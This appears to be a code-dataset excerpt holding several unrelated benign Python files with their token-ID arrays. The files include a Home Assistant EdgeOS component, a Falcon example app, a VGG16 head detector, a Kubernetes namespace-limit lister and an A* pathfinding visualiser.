8673, 29918, 1660, 29907, 11499, 353, 5852, 13, 29990, 29918, 29943, 4717, 2303, 29918, 14094, 27946, 353, 525, 29928, 1430, 29979, 29915, 13, 13, 13, 14095, 29918, 2276, 9154, 29889, 11027, 29898, 2997, 29879, 3101, 13, 2 ]
custom_components/edgeos/__init__.py
kcleong/homeassistant-config
0
61688
""" This component provides support for Home Automation Manager (HAM). For more details about this component, please refer to the documentation at https://home-assistant.io/components/edgeos/ """ import logging import sys from homeassistant.config_entries import ConfigEntry from homeassistant.core import HomeAssistant from .helpers import async_set_ha, clear_ha, get_ha, handle_log_level from .helpers.const import * REQUIREMENTS = ["aiohttp"] _LOGGER = logging.getLogger(__name__) async def async_setup(hass, config): return True async def async_setup_entry(hass: HomeAssistant, entry: ConfigEntry) -> bool: """Set up a EdgeOS component.""" initialized = False try: await handle_log_level(hass, entry) _LOGGER.debug(f"Starting async_setup_entry of {DOMAIN}") entry.add_update_listener(async_options_updated) await async_set_ha(hass, entry) initialized = True except Exception as ex: exc_type, exc_obj, tb = sys.exc_info() line_number = tb.tb_lineno _LOGGER.error(f"Failed to load EdgeOS, error: {ex}, line: {line_number}") return initialized async def async_unload_entry(hass: HomeAssistant, entry: ConfigEntry): """Unload a config entry.""" ha = get_ha(hass, entry.entry_id) if ha is not None: await ha.async_remove(entry) clear_ha(hass, entry.entry_id) return True async def async_options_updated(hass: HomeAssistant, entry: ConfigEntry): """Triggered by config entry options updates.""" await handle_log_level(hass, entry) _LOGGER.info(f"async_options_updated, Entry: {entry.as_dict()} ") ha = get_ha(hass, entry.entry_id) if ha is not None: await ha.async_update_entry(entry)
[ 1, 9995, 13, 4013, 4163, 8128, 2304, 363, 8778, 15854, 362, 15629, 313, 29950, 5194, 467, 13, 2831, 901, 4902, 1048, 445, 4163, 29892, 3113, 2737, 304, 278, 5106, 472, 13, 991, 597, 5184, 29899, 465, 22137, 29889, 601, 29914, 14036, 29914, 12864, 359, 29914, 13, 15945, 29908, 13, 5215, 12183, 13, 5215, 10876, 13, 13, 3166, 3271, 465, 22137, 29889, 2917, 29918, 26586, 1053, 12782, 9634, 13, 3166, 3271, 465, 22137, 29889, 3221, 1053, 8778, 7900, 22137, 13, 13, 3166, 869, 3952, 6774, 1053, 7465, 29918, 842, 29918, 2350, 29892, 2821, 29918, 2350, 29892, 679, 29918, 2350, 29892, 4386, 29918, 1188, 29918, 5563, 13, 3166, 869, 3952, 6774, 29889, 3075, 1053, 334, 13, 13, 1525, 29984, 3120, 1525, 13780, 29903, 353, 6796, 29874, 601, 1124, 3108, 13, 13, 29918, 14480, 17070, 353, 12183, 29889, 657, 16363, 22168, 978, 1649, 29897, 13, 13, 13, 12674, 822, 7465, 29918, 14669, 29898, 29882, 465, 29892, 2295, 1125, 13, 1678, 736, 5852, 13, 13, 13, 12674, 822, 7465, 29918, 14669, 29918, 8269, 29898, 29882, 465, 29901, 8778, 7900, 22137, 29892, 6251, 29901, 12782, 9634, 29897, 1599, 6120, 29901, 13, 1678, 9995, 2697, 701, 263, 21086, 3267, 4163, 1213, 15945, 13, 1678, 16601, 353, 7700, 13, 13, 1678, 1018, 29901, 13, 4706, 7272, 4386, 29918, 1188, 29918, 5563, 29898, 29882, 465, 29892, 6251, 29897, 13, 13, 4706, 903, 14480, 17070, 29889, 8382, 29898, 29888, 29908, 4763, 292, 7465, 29918, 14669, 29918, 8269, 310, 426, 3970, 29032, 27195, 13, 4706, 6251, 29889, 1202, 29918, 5504, 29918, 25894, 29898, 12674, 29918, 6768, 29918, 21402, 29897, 13, 13, 4706, 7272, 7465, 29918, 842, 29918, 2350, 29898, 29882, 465, 29892, 6251, 29897, 13, 13, 4706, 16601, 353, 5852, 13, 13, 1678, 5174, 8960, 408, 429, 29901, 13, 4706, 5566, 29918, 1853, 29892, 5566, 29918, 5415, 29892, 260, 29890, 353, 10876, 29889, 735, 29883, 29918, 3888, 580, 13, 4706, 1196, 29918, 4537, 353, 260, 29890, 29889, 22625, 29918, 1915, 8154, 13, 13, 4706, 903, 14480, 17070, 29889, 2704, 29898, 29888, 29908, 17776, 304, 2254, 21086, 3267, 29892, 1059, 29901, 426, 735, 1118, 1196, 29901, 426, 1220, 29918, 4537, 27195, 13, 13, 1678, 736, 16601, 13, 13, 13, 12674, 822, 7465, 29918, 348, 1359, 29918, 8269, 29898, 29882, 465, 29901, 8778, 7900, 22137, 29892, 6251, 29901, 12782, 9634, 1125, 13, 1678, 9995, 2525, 1359, 263, 2295, 6251, 1213, 15945, 13, 1678, 447, 353, 679, 29918, 2350, 29898, 29882, 465, 29892, 6251, 29889, 8269, 29918, 333, 29897, 13, 13, 1678, 565, 447, 338, 451, 6213, 29901, 13, 4706, 7272, 447, 29889, 12674, 29918, 5992, 29898, 8269, 29897, 13, 13, 1678, 2821, 29918, 2350, 29898, 29882, 465, 29892, 6251, 29889, 8269, 29918, 333, 29897, 13, 13, 1678, 736, 5852, 13, 13, 13, 12674, 822, 7465, 29918, 6768, 29918, 21402, 29898, 29882, 465, 29901, 8778, 7900, 22137, 29892, 6251, 29901, 12782, 9634, 1125, 13, 1678, 9995, 20211, 287, 491, 2295, 6251, 3987, 11217, 1213, 15945, 13, 1678, 7272, 4386, 29918, 1188, 29918, 5563, 29898, 29882, 465, 29892, 6251, 29897, 13, 13, 1678, 903, 14480, 17070, 29889, 3888, 29898, 29888, 29908, 12674, 29918, 6768, 29918, 21402, 29892, 28236, 29901, 426, 8269, 29889, 294, 29918, 8977, 28296, 16521, 13, 13, 1678, 447, 353, 679, 29918, 2350, 29898, 29882, 465, 29892, 6251, 29889, 8269, 29918, 333, 29897, 13, 13, 1678, 565, 447, 338, 451, 6213, 29901, 13, 4706, 7272, 447, 29889, 12674, 29918, 5504, 29918, 8269, 29898, 8269, 29897, 13, 2 ]
example_02/app.py
moppermonster/alpine-python-falcon-examples
0
63799
''' alpine-python-falcon example In this example, we import one of our own scripts: myfunction. We then modify Numbers() to return myfunction.myfunction()'s result when we perform a POST request. ''' import falcon from middleware import JSONTranslator from myfunction import myfunction class Hello_world(object): def on_get(self, req, resp): resp.status = falcon.HTTP_200 resp.context["response"] = {"response": "Hello world"} class Numbers(object): """Returns numbers""" def on_get(self, req, resp): resp.status = falcon.HTTP_200 resp.context["response"] = {"numbers": [1, 2, 3, 4]} def on_post(self, req, resp): resp.status = falcon.HTTP_200 result = myfunction([1, 2, 3, 4]) resp.context["response"] = {"result": result} # Falcon APP = falcon.API(middleware=[JSONTranslator()]) # Resource class instances HELLO_WORLD = Hello_world() NUMBERS = Numbers() # Falcon routes APP.add_route("/", HELLO_WORLD) APP.add_route("/numbers", NUMBERS)
[ 1, 14550, 13, 284, 26215, 29899, 4691, 29899, 18263, 535, 1342, 13, 13, 797, 445, 1342, 29892, 591, 1053, 697, 310, 1749, 1914, 12078, 29901, 590, 2220, 29889, 13, 13, 4806, 769, 6623, 11848, 2596, 580, 304, 736, 590, 2220, 29889, 1357, 2220, 580, 29915, 29879, 1121, 746, 591, 2189, 263, 11971, 2009, 29889, 13, 13, 12008, 13, 13, 5215, 11092, 535, 13, 3166, 7256, 2519, 1053, 4663, 4300, 29880, 1061, 13, 3166, 590, 2220, 1053, 590, 2220, 13, 13, 1990, 15043, 29918, 11526, 29898, 3318, 1125, 13, 1678, 822, 373, 29918, 657, 29898, 1311, 29892, 12428, 29892, 4613, 1125, 13, 4706, 4613, 29889, 4882, 353, 11092, 535, 29889, 10493, 29918, 29906, 29900, 29900, 13, 4706, 4613, 29889, 4703, 3366, 5327, 3108, 353, 8853, 5327, 1115, 376, 10994, 3186, 9092, 13, 13, 1990, 11848, 2596, 29898, 3318, 1125, 13, 1678, 9995, 11609, 29879, 3694, 15945, 29908, 13, 1678, 822, 373, 29918, 657, 29898, 1311, 29892, 12428, 29892, 4613, 1125, 13, 4706, 4613, 29889, 4882, 353, 11092, 535, 29889, 10493, 29918, 29906, 29900, 29900, 13, 4706, 4613, 29889, 4703, 3366, 5327, 3108, 353, 8853, 20326, 1115, 518, 29896, 29892, 29871, 29906, 29892, 29871, 29941, 29892, 29871, 29946, 12258, 13, 13, 1678, 822, 373, 29918, 2490, 29898, 1311, 29892, 12428, 29892, 4613, 1125, 13, 4706, 4613, 29889, 4882, 353, 11092, 535, 29889, 10493, 29918, 29906, 29900, 29900, 13, 4706, 1121, 353, 590, 2220, 4197, 29896, 29892, 29871, 29906, 29892, 29871, 29941, 29892, 29871, 29946, 2314, 13, 4706, 4613, 29889, 4703, 3366, 5327, 3108, 353, 8853, 2914, 1115, 1121, 29913, 13, 13, 29937, 12941, 535, 13, 20576, 353, 11092, 535, 29889, 8787, 29898, 17662, 2519, 11759, 7249, 4300, 29880, 1061, 580, 2314, 13, 13, 29937, 18981, 770, 8871, 13, 9606, 2208, 29949, 29918, 11686, 10249, 353, 15043, 29918, 11526, 580, 13, 23207, 29903, 353, 11848, 2596, 580, 13, 13, 29937, 12941, 535, 12049, 13, 20576, 29889, 1202, 29918, 13134, 11974, 613, 17714, 2208, 29949, 29918, 11686, 10249, 29897, 13, 20576, 29889, 1202, 29918, 13134, 11974, 20326, 613, 28019, 13635, 29903, 29897, 13, 2 ]
src/head_detector_vgg16.py
bill-lin/FCHD-Fully-Convolutional-Head-Detector
648
87850
<gh_stars>100-1000 import torch as t from torch import nn from torchvision.models import vgg16 from src.region_proposal_network import RegionProposalNetwork from src.head_detector import Head_Detector from src.config import opt def decom_vgg16(): """ Load the default PyTorch model or the pre-trained caffe model. Freeze the weights of some layers of the network and train the rest of the features. """ if opt.caffe_pretrain: # Load the caffe model model = vgg16(pretrained=False) model.load_state_dict(t.load(opt.caffe_pretrain_path)) else: # Load the default model in PyTorch model = vgg16(pretrained=True) features = list(model.features)[:30] # Freeze some of the layers. # for layer in features[:10]: # for p in layer.parameters(): # p.requires_grad = False return nn.Sequential(*features) class Head_Detector_VGG16(Head_Detector): """ Head detector based on VGG16 model. Have two components: 1) Fixed feature extractor from the conv_5 layer of the VGG16 2) A region proposal network on the top of the extractor. """ feat_stride = 16 def __init__(self, ratios=[0.5, 1, 2], anchor_scales=[8,16,32]): extractor = decom_vgg16() rpn = RegionProposalNetwork( 512, 512, ratios=ratios, anchor_scales=anchor_scales, feat_stride=self.feat_stride ) super(Head_Detector_VGG16, self).__init__( extractor, rpn ) pass
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29896, 29900, 29900, 29899, 29896, 29900, 29900, 29900, 13, 5215, 4842, 305, 408, 260, 13, 3166, 4842, 305, 1053, 302, 29876, 13, 3166, 4842, 305, 4924, 29889, 9794, 1053, 325, 1505, 29896, 29953, 13, 13, 3166, 4765, 29889, 12803, 29918, 771, 1066, 284, 29918, 11618, 1053, 11069, 1184, 1066, 284, 13724, 13, 3166, 4765, 29889, 2813, 29918, 4801, 3019, 1053, 12252, 29918, 6362, 3019, 13, 3166, 4765, 29889, 2917, 1053, 3523, 13, 13, 1753, 17753, 29918, 29894, 1505, 29896, 29953, 7295, 13, 1678, 9995, 16012, 278, 2322, 10772, 29911, 25350, 1904, 470, 278, 758, 29899, 3018, 1312, 274, 3470, 29872, 1904, 29889, 29871, 13, 1678, 12362, 911, 278, 18177, 310, 777, 15359, 310, 278, 3564, 322, 7945, 278, 1791, 29871, 13, 1678, 310, 278, 5680, 29889, 29871, 13, 1678, 9995, 13, 1678, 565, 3523, 29889, 1113, 17615, 29918, 1457, 14968, 29901, 13, 4706, 396, 16012, 278, 274, 3470, 29872, 1904, 13, 4706, 1904, 353, 325, 1505, 29896, 29953, 29898, 1457, 3018, 1312, 29922, 8824, 29897, 13, 4706, 1904, 29889, 1359, 29918, 3859, 29918, 8977, 29898, 29873, 29889, 1359, 29898, 3670, 29889, 1113, 17615, 29918, 1457, 14968, 29918, 2084, 876, 13, 1678, 1683, 29901, 13, 4706, 396, 16012, 278, 2322, 1904, 297, 10772, 29911, 25350, 13, 4706, 1904, 353, 325, 1505, 29896, 29953, 29898, 1457, 3018, 1312, 29922, 5574, 29897, 13, 268, 13, 1678, 5680, 353, 1051, 29898, 4299, 29889, 22100, 29897, 7503, 29941, 29900, 29962, 13, 13, 1678, 396, 12362, 911, 777, 310, 278, 15359, 29889, 13, 1678, 396, 363, 7546, 297, 5680, 7503, 29896, 29900, 5387, 13, 1678, 396, 268, 363, 282, 297, 7546, 29889, 16744, 7295, 13, 1678, 396, 308, 282, 29889, 276, 339, 2658, 29918, 5105, 353, 7700, 13, 13, 1678, 736, 302, 29876, 29889, 16941, 2556, 10456, 22100, 29897, 13, 13, 1990, 12252, 29918, 6362, 3019, 29918, 29963, 26788, 29896, 29953, 29898, 5494, 29918, 6362, 3019, 1125, 13, 13, 1678, 9995, 12252, 1439, 3019, 2729, 373, 478, 26788, 29896, 29953, 1904, 29889, 29871, 13, 1678, 6975, 1023, 7117, 29901, 29871, 13, 308, 29896, 29897, 383, 11925, 4682, 6597, 272, 515, 278, 7602, 29918, 29945, 7546, 310, 278, 478, 26788, 29896, 29953, 29871, 13, 308, 29906, 29897, 319, 5120, 24963, 3564, 373, 278, 2246, 310, 278, 6597, 272, 29889, 13, 1678, 9995, 13, 1678, 1238, 271, 29918, 303, 2426, 353, 29871, 29896, 29953, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 364, 2219, 359, 11759, 29900, 29889, 29945, 29892, 29871, 29896, 29892, 29871, 29906, 1402, 17360, 29918, 19529, 267, 11759, 29947, 29892, 29896, 29953, 29892, 29941, 29906, 29962, 1125, 13, 4706, 6597, 272, 353, 17753, 29918, 29894, 1505, 29896, 29953, 580, 13, 4706, 364, 21257, 353, 11069, 1184, 1066, 284, 13724, 29898, 13, 632, 29945, 29896, 29906, 29892, 29871, 29945, 29896, 29906, 29892, 13, 9651, 364, 2219, 359, 29922, 29878, 2219, 359, 29892, 13, 9651, 17360, 29918, 19529, 267, 29922, 25367, 29918, 19529, 267, 29892, 13, 9651, 1238, 271, 29918, 303, 2426, 29922, 1311, 29889, 1725, 271, 29918, 303, 2426, 13, 4706, 1723, 13, 4706, 2428, 29898, 5494, 29918, 6362, 3019, 29918, 29963, 26788, 29896, 29953, 29892, 1583, 467, 1649, 2344, 12035, 13, 9651, 6597, 272, 29892, 13, 9651, 364, 21257, 13, 4706, 1723, 13, 1678, 1209, 13, 13, 2 ]
tests/load_cmat_cmat10.py
ffreemt/cmat2aset
0
60872
"""load cmat cmat10. import matplotlib.pyplit as plt import seaborn as sns sns.set() plt.ion() # interactive plot plt.clf(); sns.heatmap(cmat, cmap="gist_earth_r").invert_yaxis() plt.clf(); sns.heatmap(cmat, cmap="viridis_r").invert_yaxis() """ import pickle from pathlib import Path cdir = Path(__file__).parent.resolve() cmat = pickle.load(open(cdir / "cos_matrix.pkl", "rb")) cmat10 = pickle.load(open(cdir / "cos_matrix10.pkl", "rb"))
[ 1, 9995, 1359, 274, 2922, 274, 2922, 29896, 29900, 29889, 13, 13, 5215, 22889, 29889, 2272, 2830, 408, 14770, 13, 5215, 409, 370, 1398, 408, 269, 1983, 13, 13, 29879, 1983, 29889, 842, 580, 13, 572, 29873, 29889, 291, 580, 29871, 396, 28923, 6492, 13, 13, 572, 29873, 29889, 695, 29888, 890, 269, 1983, 29889, 354, 271, 1958, 29898, 29883, 2922, 29892, 274, 1958, 543, 29887, 391, 29918, 799, 386, 29918, 29878, 2564, 262, 1765, 29918, 29891, 8990, 580, 13, 13, 572, 29873, 29889, 695, 29888, 890, 269, 1983, 29889, 354, 271, 1958, 29898, 29883, 2922, 29892, 274, 1958, 543, 2405, 333, 275, 29918, 29878, 2564, 262, 1765, 29918, 29891, 8990, 580, 13, 13, 15945, 29908, 13, 5215, 5839, 280, 13, 3166, 2224, 1982, 1053, 10802, 13, 13, 2252, 381, 353, 10802, 22168, 1445, 1649, 467, 3560, 29889, 17863, 580, 13, 13, 29883, 2922, 353, 5839, 280, 29889, 1359, 29898, 3150, 29898, 2252, 381, 847, 376, 3944, 29918, 5344, 29889, 29886, 6321, 613, 376, 6050, 5783, 13, 29883, 2922, 29896, 29900, 353, 5839, 280, 29889, 1359, 29898, 3150, 29898, 2252, 381, 847, 376, 3944, 29918, 5344, 29896, 29900, 29889, 29886, 6321, 613, 376, 6050, 5783, 13, 2 ]
setup.py
awesome-archive/webspider
0
518
<filename>setup.py #!/usr/bin/env python # -*- coding: utf-8 -*- import os from setuptools import find_packages, setup from app import __version__ # get the dependencies and installs here = os.path.abspath(os.path.dirname(__file__)) with open(os.path.join(here, 'requirements.txt')) as f: all_requirements = f.read().split('\n') setup( name='webspider', version=__version__, license='MIT', author='heguozhu', author_email='<EMAIL>', description='lagou.com spider', url='<EMAIL>:GuozhuHe/webspider.git', packages=find_packages(exclude=['tests']), package_data={'webspider': ['README.md']}, zip_safe=False, install_requires=all_requirements, entry_points={ 'console_scripts': [ 'web = app.web_app:main', 'production_web = app.quickly_cmd:run_web_app_by_gunicorn', 'crawl_lagou_data = app.tasks:crawl_lagou_data', 'crawl_jobs_count = app.tasks.jobs_count:crawl_lagou_jobs_count', 'celery_jobs_count_worker = app.quickly_cmd:run_celery_jobs_count_worker', 'celery_lagou_data_worker = app.quickly_cmd:run_celery_lagou_data_worker', 'celery_beat = app.quickly_cmd:run_celery_beat', 'celery_flower = app.quickly_cmd.py:run_celery_flower', ], } )
[ 1, 529, 9507, 29958, 14669, 29889, 2272, 13, 29937, 14708, 4855, 29914, 2109, 29914, 6272, 3017, 13, 29937, 448, 29930, 29899, 14137, 29901, 23616, 29899, 29947, 448, 29930, 29899, 13, 5215, 2897, 13, 3166, 731, 21245, 8789, 1053, 1284, 29918, 8318, 29892, 6230, 13, 13, 3166, 623, 1053, 4770, 3259, 1649, 13, 13, 29937, 679, 278, 9962, 322, 2601, 29879, 13, 4150, 353, 2897, 29889, 2084, 29889, 370, 1028, 493, 29898, 359, 29889, 2084, 29889, 25721, 22168, 1445, 1649, 876, 13, 2541, 1722, 29898, 359, 29889, 2084, 29889, 7122, 29898, 4150, 29892, 525, 12277, 1860, 29889, 3945, 8785, 408, 285, 29901, 13, 1678, 599, 29918, 12277, 1860, 353, 285, 29889, 949, 2141, 5451, 28909, 29876, 1495, 13, 13, 14669, 29898, 13, 1678, 1024, 2433, 2676, 1028, 1241, 742, 13, 1678, 1873, 29922, 1649, 3259, 1649, 29892, 13, 1678, 19405, 2433, 26349, 742, 13, 1678, 4148, 2433, 354, 2543, 2112, 6905, 742, 13, 1678, 4148, 29918, 5269, 2433, 29966, 26862, 6227, 29958, 742, 13, 1678, 6139, 2433, 3110, 283, 29889, 510, 805, 1241, 742, 13, 1678, 3142, 2433, 29966, 26862, 6227, 23917, 9485, 2112, 6905, 3868, 29914, 2676, 1028, 1241, 29889, 5559, 742, 13, 1678, 9741, 29922, 2886, 29918, 8318, 29898, 735, 2325, 29922, 1839, 21150, 2033, 511, 13, 1678, 3577, 29918, 1272, 3790, 29915, 2676, 1028, 1241, 2396, 6024, 16310, 2303, 29889, 3487, 2033, 1118, 13, 1678, 14319, 29918, 11177, 29922, 8824, 29892, 13, 1678, 2601, 29918, 276, 339, 2658, 29922, 497, 29918, 12277, 1860, 29892, 13, 1678, 6251, 29918, 9748, 3790, 13, 4706, 525, 11058, 29918, 16713, 2396, 518, 13, 9651, 525, 2676, 353, 623, 29889, 2676, 29918, 932, 29901, 3396, 742, 13, 9651, 525, 24601, 29918, 2676, 353, 623, 29889, 24561, 368, 29918, 9006, 29901, 3389, 29918, 2676, 29918, 932, 29918, 1609, 29918, 29887, 2523, 1398, 742, 13, 9651, 525, 29883, 1610, 29880, 29918, 3110, 283, 29918, 1272, 353, 623, 29889, 20673, 29901, 29883, 1610, 29880, 29918, 3110, 283, 29918, 1272, 742, 13, 9651, 525, 29883, 1610, 29880, 29918, 9057, 29879, 29918, 2798, 353, 623, 29889, 20673, 29889, 9057, 29879, 29918, 2798, 29901, 29883, 1610, 29880, 29918, 3110, 283, 29918, 9057, 29879, 29918, 2798, 742, 13, 9651, 525, 2242, 708, 29918, 9057, 29879, 29918, 2798, 29918, 24602, 353, 623, 29889, 24561, 368, 29918, 9006, 29901, 3389, 29918, 2242, 708, 29918, 9057, 29879, 29918, 2798, 29918, 24602, 742, 13, 9651, 525, 2242, 708, 29918, 3110, 283, 29918, 1272, 29918, 24602, 353, 623, 29889, 24561, 368, 29918, 9006, 29901, 3389, 29918, 2242, 708, 29918, 3110, 283, 29918, 1272, 29918, 24602, 742, 13, 9651, 525, 2242, 708, 29918, 915, 271, 353, 623, 29889, 24561, 368, 29918, 9006, 29901, 3389, 29918, 2242, 708, 29918, 915, 271, 742, 13, 9651, 525, 2242, 708, 29918, 1731, 261, 353, 623, 29889, 24561, 368, 29918, 9006, 29889, 2272, 29901, 3389, 29918, 2242, 708, 29918, 1731, 261, 742, 13, 4706, 21251, 13, 1678, 500, 13, 29897, 13, 2 ]
HEPTools/__init__.py
weissercn/HEPtools
0
142039
<gh_stars>0 import sys import os os.environ["HEPTools"]=os.getcwd()
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29900, 13, 5215, 10876, 13, 5215, 2897, 13, 359, 29889, 21813, 3366, 9606, 7982, 8789, 3108, 29922, 359, 29889, 657, 29883, 9970, 580, 13, 2 ]
python/list_namespace_limits.py
iamabhishek-dubey/kubernetes-rest-api
1
126640
<reponame>iamabhishek-dubey/kubernetes-rest-api<gh_stars>1-10 import kubernetes.client from kubernetes.client.rest import ApiException from kubernetes import config def initiate_api(): """Function to Initiate Kubernetes API""" configuration = config.load_kube_config() api_instance = kubernetes.client.CoreV1Api(kubernetes.client.ApiClient(configuration)) return api_instance def list_limits(): """Function to list Limits of Namespaces""" try: api_instance = initiate_api() namespaces = api_instance.list_namespace().items for namespace in namespaces: limit = api_instance.list_namespaced_limit_range(namespace.metadata.name).items if not limit: print(namespace.metadata.name + " named namespace don't have any limits") else: print(limit) except ApiException as e: print("Exception when calling list_namespaced_limit_range: %s\n" % e) def main_function(): list_limits() main_function()
[ 1, 529, 276, 1112, 420, 29958, 2829, 370, 22880, 354, 29895, 29899, 29881, 431, 1032, 29914, 29895, 17547, 29899, 5060, 29899, 2754, 29966, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 5215, 413, 17547, 29889, 4645, 13, 3166, 413, 17547, 29889, 4645, 29889, 5060, 1053, 29749, 2451, 13, 3166, 413, 17547, 1053, 2295, 13, 13, 1753, 14511, 403, 29918, 2754, 7295, 13, 1678, 9995, 6678, 304, 512, 4812, 403, 476, 17547, 3450, 15945, 29908, 13, 1678, 5285, 353, 2295, 29889, 1359, 29918, 29895, 4003, 29918, 2917, 580, 13, 1678, 7882, 29918, 8758, 353, 413, 17547, 29889, 4645, 29889, 9203, 29963, 29896, 11713, 29898, 29895, 17547, 29889, 4645, 29889, 11713, 4032, 29898, 13305, 876, 13, 1678, 736, 7882, 29918, 8758, 13, 13, 1753, 1051, 29918, 12514, 7295, 13, 1678, 9995, 6678, 304, 1051, 9628, 1169, 310, 14706, 22459, 15945, 29908, 13, 1678, 1018, 29901, 13, 4706, 7882, 29918, 8758, 353, 14511, 403, 29918, 2754, 580, 13, 4706, 2983, 22459, 353, 7882, 29918, 8758, 29889, 1761, 29918, 22377, 2141, 7076, 13, 4706, 363, 7397, 297, 2983, 22459, 29901, 13, 9651, 4046, 353, 7882, 29918, 8758, 29889, 1761, 29918, 7039, 29886, 562, 287, 29918, 13400, 29918, 3881, 29898, 22377, 29889, 19635, 29889, 978, 467, 7076, 13, 9651, 565, 451, 4046, 29901, 13, 18884, 1596, 29898, 22377, 29889, 19635, 29889, 978, 718, 376, 4257, 7397, 1016, 29915, 29873, 505, 738, 13071, 1159, 13, 9651, 1683, 29901, 13, 18884, 1596, 29898, 13400, 29897, 13, 1678, 5174, 29749, 2451, 408, 321, 29901, 13, 4706, 1596, 703, 2451, 746, 5432, 1051, 29918, 7039, 29886, 562, 287, 29918, 13400, 29918, 3881, 29901, 1273, 29879, 29905, 29876, 29908, 1273, 321, 29897, 13, 13, 1753, 1667, 29918, 2220, 7295, 13, 1678, 1051, 29918, 12514, 580, 13, 13, 3396, 29918, 2220, 580, 13, 2 ]
pathfinder/AStar.py
simplykamil6/2d-pathfinding-visualiser
1
78123
from queue import PriorityQueue import pygame from mazecreator.MazeCreator import MazeCreator from mazecreator.Picasso import Picasso from mazecreator.RGBColours import RGBColours from mazecreator.SquareState import SquareState class AStar: """ Poor man's implementation of A* Pathfinding algorithm """ def __init__(self, visualise: bool = False): self.grid = MazeCreator().get_grid() self.open_set = PriorityQueue() self.start_pos = None self.end_pos = None self.path_found = False self.rows = len(self.grid) self.width = 800 self.g_score = {} self.f_score = {} self.window = pygame.display.set_mode((self.width, self.width)) self.window_title = 'AStar Pathfinder' self.run = True self.gap = self.width // self.rows self.path = None self.came_from = {} pygame.display.set_caption(self.window_title) self.visualise = visualise for r in self.grid: for s in r: if s.state == SquareState.START: self.start_pos = s.get_pos() elif s.state == SquareState.END: self.end_pos = s.get_pos() if self.start_pos and self.end_pos: break print(f'\nMaze dimensions: {len(self.grid)}x{len(self.grid[0])}') print(f'Starting position: {self.start_pos}') print(f'Ending position: {self.end_pos}\n') @staticmethod def get_heuristic(p1: tuple, p2: tuple): """ Get approximate distance to p2 :param p1: position 1 :param p2: end position :return: approximate distance :rtype: int """ x1, y1 = p1 x2, y2 = p2 return abs(x1 - x2) + abs(y1 - y2) def draw_grid(self): """ Draw the grid :rtype: None """ for i in range(self.rows): pygame.draw.line(self.window, RGBColours.GREY, (0, i * self.gap), (self.width, i * self.gap)) for j in range(self.rows): pygame.draw.line(self.window, RGBColours.GREY, (j * self.gap, 0), (j * self.gap, self.width)) def draw(self, grid: list): """ Draw the grid and squares :rtype: None """ self.window.fill(RGBColours.WHITE) for row in grid: for square in row: square.draw(self.window) self.draw_grid() pygame.display.update() def get_clicked_pos(self, pos): """ Get row, col that was clicked :param pos: position :type pos: tuple :return: row, col :rtype: tuple """ y, x = pos return y // self.gap, x // self.gap def a_star(self): """ A* pathfinding algorithm implementation :return: found path or not :rtype: bool """ self.came_from = {} for row in self.grid: for s in row: sp = s.get_pos() self.g_score[sp] = float('inf') self.f_score[sp] = float('inf') self.g_score[self.start_pos] = 0 self.f_score[self.start_pos] = self.get_heuristic(self.start_pos, self.end_pos) self.open_set.put((self.f_score[self.start_pos], self.start_pos)) while self.run: self.draw(self.grid) for event in pygame.event.get(): if event.type == pygame.QUIT or (event.type == pygame.KEYDOWN and event.key == pygame.K_ESCAPE): self.run = False while not self.open_set.empty(): current = self.open_set.get() current_f_score, current_pos = current current_row, current_col = current_pos if current_pos == self.end_pos: checked_squares = 0 self.path = list() self.path.append(self.end_pos) for row in self.grid: for s in row: if s.state in [SquareState.VISITED, SquareState.START, SquareState.END]: checked_squares += 1 curr = self.end_pos while curr: prev = self.came_from.get(curr) self.path.append(prev) curr = prev self.path = self.path[:-1] for move in self.path: if move: m_r, m_c = move if move == self.end_pos: self.grid[m_r][m_c].state = SquareState.END else: self.grid[m_r][m_c].state = SquareState.PATH print(f'Found a solution, checked {checked_squares} squares, took {len(self.path)} moves') print(f'Moves: {self.path}\n') self.open_set = PriorityQueue() break for valid_neighbour in Picasso.get_valid_neighbours(current_row, current_col, self.grid, self.rows): if valid_neighbour.state != SquareState.VISITED: valid_neighbour.state = SquareState.VISITED tentative_g_score = self.g_score[current_pos] + 1 vn_pos = valid_neighbour.get_pos() if tentative_g_score < self.g_score[vn_pos]: self.came_from[vn_pos] = current_pos self.g_score[vn_pos] = tentative_g_score self.f_score[vn_pos] = self.g_score[vn_pos] + self.get_heuristic(vn_pos, self.end_pos) if vn_pos not in self.open_set.queue: self.open_set.put((self.f_score[vn_pos], vn_pos)) if self.visualise: self.draw(self.grid) pygame.quit() return True if self.path else False if __name__ == '__main__': a_star = AStar() path_found = a_star.a_star() print(f'Path found: {path_found}')
[ 1, 515, 9521, 1053, 22096, 537, 10620, 13, 13, 5215, 22028, 13, 13, 3166, 611, 17938, 276, 1061, 29889, 29924, 28334, 9832, 1061, 1053, 17326, 29872, 9832, 1061, 13, 3166, 611, 17938, 276, 1061, 29889, 29925, 293, 9979, 1053, 14612, 9979, 13, 3166, 611, 17938, 276, 1061, 29889, 28212, 1625, 2470, 1053, 390, 7210, 1625, 2470, 13, 3166, 611, 17938, 276, 1061, 29889, 29903, 4718, 2792, 1053, 19256, 2792, 13, 13, 13, 1990, 319, 16213, 29901, 13, 1678, 9995, 13, 1678, 3929, 272, 767, 29915, 29879, 5314, 310, 319, 29930, 10802, 2886, 292, 5687, 13, 1678, 9995, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 7604, 895, 29901, 6120, 353, 7700, 1125, 13, 4706, 1583, 29889, 7720, 353, 17326, 29872, 9832, 1061, 2141, 657, 29918, 7720, 580, 13, 4706, 1583, 29889, 3150, 29918, 842, 353, 22096, 537, 10620, 580, 13, 4706, 1583, 29889, 2962, 29918, 1066, 353, 6213, 13, 4706, 1583, 29889, 355, 29918, 1066, 353, 6213, 13, 4706, 1583, 29889, 2084, 29918, 11940, 353, 7700, 13, 4706, 1583, 29889, 5727, 353, 7431, 29898, 1311, 29889, 7720, 29897, 13, 4706, 1583, 29889, 2103, 353, 29871, 29947, 29900, 29900, 13, 4706, 1583, 29889, 29887, 29918, 13628, 353, 6571, 13, 4706, 1583, 29889, 29888, 29918, 13628, 353, 6571, 13, 4706, 1583, 29889, 7165, 353, 22028, 29889, 4990, 29889, 842, 29918, 8513, 3552, 1311, 29889, 2103, 29892, 1583, 29889, 2103, 876, 13, 4706, 1583, 29889, 7165, 29918, 3257, 353, 525, 29909, 16213, 10802, 2886, 261, 29915, 13, 4706, 1583, 29889, 3389, 353, 5852, 13, 4706, 1583, 